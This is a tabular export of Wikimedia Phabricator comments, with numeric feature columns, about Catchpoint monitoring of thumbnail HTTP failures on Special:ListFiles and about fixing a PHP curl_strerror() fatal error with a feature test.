The big downside here is check complexity probably means failure mode complexity for the check itself and /each step/ of the automation is a single point.

thoughts:

1) Make an catchpoint-alerts list and get some of these failures we have the ability to see now sent to those who want it
2) Tweak our emulated and chrome checks for what we think will surface this thumbnail issue (and probably others).  i.e. I think most now are if 10 child elements fail or 10% of child elements fail that's bad.
3) Figure out what web page to watch for emergent thumbnail problems makes sense and add that check.  Then watch the point usage for a bit to see how it will fair.

"
899928,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,"@fgiunchedi it depends on what we want to watch move.  We already have a number of emulated/chrome checks that could double as thumbnail canaries.  If there is a particular page(s) that would demonstrate this failure early then an additional check(s) makes sense to me.  Right now it's more or less all project homepages.  One good note there is we do run cached and uncached checks.

Cost is such a pita w/ catchpoint.  If we add a new check we could get away with emulated for child content awareness and that's 1 point per check per concurrent source (IIRC).  For May and June we did have an underrun for point usage (meaning our monthly usage is less than projected based on annual projected usage) we could play with here to see how it effects ongoing usage.  I don't have the numbers for last contract renewal / points = cost per point at the moment though.

Check types for reference

{F8832353} 

Then we can alert based on referenced resources failing like

{F8832338}

One big red flag here is it wouldn't differentiate between thumbnails and any other child content.  In theory I imagine we shouldn't have any mass content failure on our pages so...but most of this was alerting at one time and did find a few serious externally visible issues and has since had alerting disabled as too verbose. 

One option for this to use selenium style automation to make a more contextually specific thumbnail test like the one we have that demonstrates a basic login and edit:

```// Step - 1
open(""https://en.wikipedia.org/w/index.php?title=Special:UserLogin"")
setStepName(""Open en.wp.o/Special:UserLogin"")
type(""//*[@id='wpPassword1']"", ""barpass"")
type(""//*[@id='wpName1']"", ""foouser"")

// Step - 2
clickAndWait(""//*[@id='wpLoginAttempt']"")
setStepName(""Login to en.wp.o"")

// Step - 3
open(""https://en.wikipedia.org/w/index.php?title=User:Ops_Monitor_%28WMF%29/sandbox&action=edit"")
type(""//*[@id='wpTextbox1']"", ""${timeEpoch()} Testid: ${testid} Location: ${locationName} cityName: ${cityName} ispName: ${ispName}"")
setStepName(""Edit user sandbox"")

// Step - 4
clickAndWait(""//*[@id='wpSave']"")
setStepName(""Save user edit"")```

The big downside here is check complexity probably means failure mode complexity for the check itself and /each step/ of the automation is a single point.

thoughts:

1) Make an catchpoint-alerts list and get some of these failures we have the ability to see now sent to those who want it
2) Tweak our emulated and chrome checks for what we think will surface this thumbnail issue (and probably others).  i.e. I think most now are if 10 child elements fail or 10% of child elements fail that's bad.
3) Figure out what web page to watch for emergent thumbnail problems makes sense and add that check.  Then watch the point usage for a bit to see how it will fair.

",,,1500905041,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,True,,,107,True,1.0,0.0,0.0,0.0,0.6,6.6,0.6,0.0,0.2,0.6,1.0,0.6,0.0,0.0,0.4,3.8,0.0,5.8,9.8,0.0,1.4,0.2,0.2,0.0,0.6,0.8,0.0,0.2,1.0,0.8,0.2,6.4,4.8,1.4,0.4,0.0,0.0,0.0,0.0,0.2,0.0,0.0,0.8,2.0,0.0,0.2,0.0,0.2,0.2,17.4,1.2,0.8,0.2,1.4,0.2,0.0,0.0,0.0,0.4,0.0,0.4,0.6,0.0,1.0,0.0,0.2,0.4,4.0,1.8,5.4,1.2,3.0,7.2,0.0,0.0,0.0,0.0,5.8,0.0,1.6,0.0,5.4,9.8,1.2,0.0,0.0,0.0,5.4,0.0,1.6,2.4,0.4,0.6,0.8,0.4,0.6,3.951526251526252,0.7588766788766789,"SCREEN_NAME it depends on what we want to watch move.  We already have a number of emulated/chrome checks that could double as thumbnail canaries.  If there is a particular page(s) that would demonstrate this failure early then an additional check(s) makes sense to me.  Right now it's more or less all project homepages.  One good note there is we do run cached and uncached checks.

Cost is such a pita w/ catchpoint.  If we add a new check we could get away with emulated for child content awareness and that's 1 point per check per concurrent source (IIRC).  For May and June we did have an underrun for point usage (meaning our monthly usage is less than projected based on annual projected usage) we could play with here to see how it effects ongoing usage.  I don't have the numbers for last contract renewal / points = cost per point at the moment though.

Check types for reference

{F8832353} 

Then we can alert based on referenced resources failing like

{F8832338}

One big red flag here is it wouldn't differentiate between thumbnails and any other child content.  In theory I imagine we shouldn't have any mass content failure on our pages so...but most of this was alerting at one time and did find a few serious externally visible issues and has since had alerting disabled as too verbose. 

One option for this to use selenium style automation to make a more contextually specific thumbnail test like the one we have that demonstrates a basic login and edit:

``CODE``

The big downside here is check complexity probably means failure mode complexity for the check itself and /each step/ of the automation is a single point.

thoughts:

1) Make an catchpoint-alerts list and get some of these failures we have the ability to see now sent to those who want it
2) Tweak our emulated and chrome checks for what we think will surface this thumbnail issue (and probably others).  i.e. I think most now are if 10 child elements fail or 10% of child elements fail that's bad.
3) Figure out what web page to watch for emergent thumbnail problems makes sense and add that check.  Then watch the point usage for a bit to see how it will fair.

"
898706,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,@chasemp how would we setup the check and gauge how much it costs?,,,1500634535,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,True,,,107,True,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,14.0,7.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.071428571428571,0.9285714285714286,SCREEN_NAME how would we setup the check and gauge how much it costs?
770861,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,"I'd say, let's set it up and see how much it costs. We can also vary the check frequency.",,,1480680644,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,False,,,74,True,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,8.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,8.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9583333333333335,0.9166666666666666,"I'd say, let's set it up and see how much it costs. We can also vary the check frequency."
583485,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,"Sounds good, but like we'd still need an ACK from Mark because this actually costs money.",,,1450901459,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,True,,,24,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,5.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,11.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.8947368421052633,1.0,"Sounds good, but like we'd still need an ACK from Mark because this actually costs money."
561550,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,">>! In T106937#1798210, @Dzahn wrote:
>>>! In T106937#1485653, @chasemp wrote:
>> @mark is this worthy of a catchpoint alert?  It seems like it may be a good external sanity check.
> 
> @chasemp Is that something that is possible in catchpoint though? As i understand it https://en.wikipedia.org/wiki/Special:ListFiles would always be 200 but we'd have to check if any thumbnails within the page are not being loaded.

catchpoint can request the page and then all child resources and report on their failure.  We do this already now for the pages we watch via selenium and chome alerting on 10% or 10 child resource failures such as images etc.  We could totally do something similar in this instance if we want I believe. It does require a sophisticated enough check though.",,,1447251961,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,True,,,18,True,1.0,1.0,1.0,0.0,0.0,5.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,1.0,5.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,9.0,9.0,6.0,0.0,0.0,0.0,9.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,4.0625,0.7375,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

catchpoint can request the page and then all child resources and report on their failure.  We do this already now for the pages we watch via selenium and chome alerting on 10% or 10 child resource failures such as images etc.  We could totally do something similar in this instance if we want I believe. It does require a sophisticated enough check though."
561360,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,">>! In T106937#1485653, @chasemp wrote:
> @mark is this worthy of a catchpoint alert?  It seems like it may be a good external sanity check.

@chasemp Is that something that is possible in catchpoint though? As i understand it https://en.wikipedia.org/wiki/Special:ListFiles would always be 200 but we'd have to check if any thumbnails within the page are not being loaded.",,,1447205339,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,True,,,18,True,2.0,2.0,0.0,2.0,2.0,2.0,5.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,7.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,12.0,15.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,7.0,12.0,5.0,2.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.121951219512195,0.926829268292683,"QUOTE
QUOTE
SCREEN_NAME Is that something that is possible in catchpoint though? As i understand it URL would always be 200 but we'd have to check if any thumbnails within the page are not being loaded."
497715,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,">In general, if that happens, it indicates a pretty serious problem with upload or new thumbnails.

There could be edge cases where this could happen and its not a problem. If someone did a mass upload of files that could not be rendered. Although we've fixed most of the broad file could not be rendered issues, so seems kind of unlikely now a days.",,,1438027638,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,True,,,3,True,0.0,2.0,0.0,4.0,5.0,7.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,15.0,9.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,16.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,2.0,0.0,7.0,5.0,7.0,5.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,5.0,0.0,0.0,0.0,2.0,0.0,3.8181818181818183,0.7454545454545455,"QUOTE

There could be edge cases where this could happen and its not a problem. If someone did a mass upload of files that could not be rendered. Although we've fixed most of the broad file could not be rendered issues, so seems kind of unlikely now a days."
497600,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,@mark is this worthy of a catchpoint alert?  It seems like it may be a good external sanity check.,,,1438021272,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,5.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,9.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,0.9545454545454546,SCREEN_NAME is this worthy of a catchpoint alert?  It seems like it may be a good external sanity check.
106579,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,"Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232

The error was introduced in {db2d4b670983df43686c4c1a671369d8ebcaaf82}

curl_strerror was added in php 5.5, and it appears to be supported in hhvm as well, so I'm really not sure why this is an undefined function.

",High,80.0,1437592355,1437596814.0,PHID-USER-fn7qnpccfbitivgtw2rt,False,PHID-USER-fn7qnpccfbitivgtw2rt,False,PHID-TASK-dew2vsthlv3maoupvl3m,task_description,resolved,True,c3,3,True,True,True,2,True,0.0,0.0,0.0,4.0,1.0,6.0,1.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,1.0,0.0,9.0,10.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,7.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,10.0,7.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.597014925373134,0.7611940298507462,"Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232

The error was introduced in {db2d4b670983df43686c4c1a671369d8ebcaaf82}

curl_strerror was added in php 5.5, and it appears to be supported in hhvm as well, so I'm really not sure why this is an undefined function.

"
495162,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,"Change 226388 merged by 20after4:
Use feature test rather than version check

[[https://gerrit.wikimedia.org/r/226388]]",,,1437596566,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.1,0.9,"Change 226388 merged by 20after4:
Use feature test rather than version check

[[GERRIT_URL]]"
495160,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,"Change 226388 had a related patch set uploaded (by 20after4):
Use feature test rather than version check

[[https://gerrit.wikimedia.org/r/226388]]
",,,1437596221,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.925925925925926,0.8888888888888888,"Change 226388 had a related patch set uploaded (by 20after4):
Use feature test rather than version check

[[GERRIT_URL]]
"
495159,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,I'm going to backport this to wmf15,,,1437596160,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,25.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.625,0.875,I'm going to backport this to wmf15
495154,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,"Change 226348 merged by Aaron Schulz:
Use feature test rather than version check

[[https://gerrit.wikimedia.org/r/226348]]",,,1437595812,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0476190476190474,0.9047619047619048,"Change 226348 merged by Aaron Schulz:
Use feature test rather than version check

[[GERRIT_URL]]"
495119,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,">>! In T106579#1472270, @aaron wrote:
> Can we just use http://php.net/manual/en/function.function-exists.php ?

Heh, mid air collision :)",,,1437594272,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,0.9,"QUOTE
QUOTE

Heh, mid air collision :)"
495118,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,Can we just use http://php.net/manual/en/function.function-exists.php ?,,,1437594243,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,1.0,Can we just use URL ?
495117,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,"Change 226348 had a related patch set uploaded (by Nikerabbit):
Use feature test rather than version check

[[https://gerrit.wikimedia.org/r/226348]]
",,,1437594238,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.0,0.8888888888888888,"Change 226348 had a related patch set uploaded (by Nikerabbit):
Use feature test rather than version check

[[GERRIT_URL]]
"
495113,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,"I'm still confused:
```
> var_dump( version_compare( '5.6.99-hhvm', '5.5.0' ) );
int(1)

> var_dump( version_compare( '5.5.9-1ubuntu4.11', '5.5.0' ) );
int(1)

> var_dump( version_compare( '5.3.10-1ubuntu3.19+wmf1', '5.5.0' ) );
int(-1)
```

Which one of the above does not have it?",,,1437594108,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,5.0,0.0,5.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.727272727272727,0.8636363636363636,"I'm still confused:
``CODE``

Which one of the above does not have it?"
495110,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,">>! In T106579#1472177, @Nikerabbit wrote:
> What is `PHP_VERSION` on production?

One of these:

5.3.10-1ubuntu3.19+wmf1
5.5.9-1ubuntu4.11
5.6.99-hhvm",,,1437593797,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.95,0.7,"QUOTE
QUOTE

One of these:

5.3.10-1ubuntu3.19+wmf1
5.5.9-1ubuntu4.11
5.6.99-hhvm"
495109,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,"One of these:

5.3.10-1ubuntu3.19+wmf1
5.5.9-1ubuntu4.11
5.6.99-hhvm",,,1437593764,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,0.8125,"One of these:

5.3.10-1ubuntu3.19+wmf1
5.5.9-1ubuntu4.11
5.6.99-hhvm"
495106,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,"So what is wrong with this check in the code: `if ( version_compare( PHP_VERSION, '5.5.0' ) >= 0 ) { call it }`?

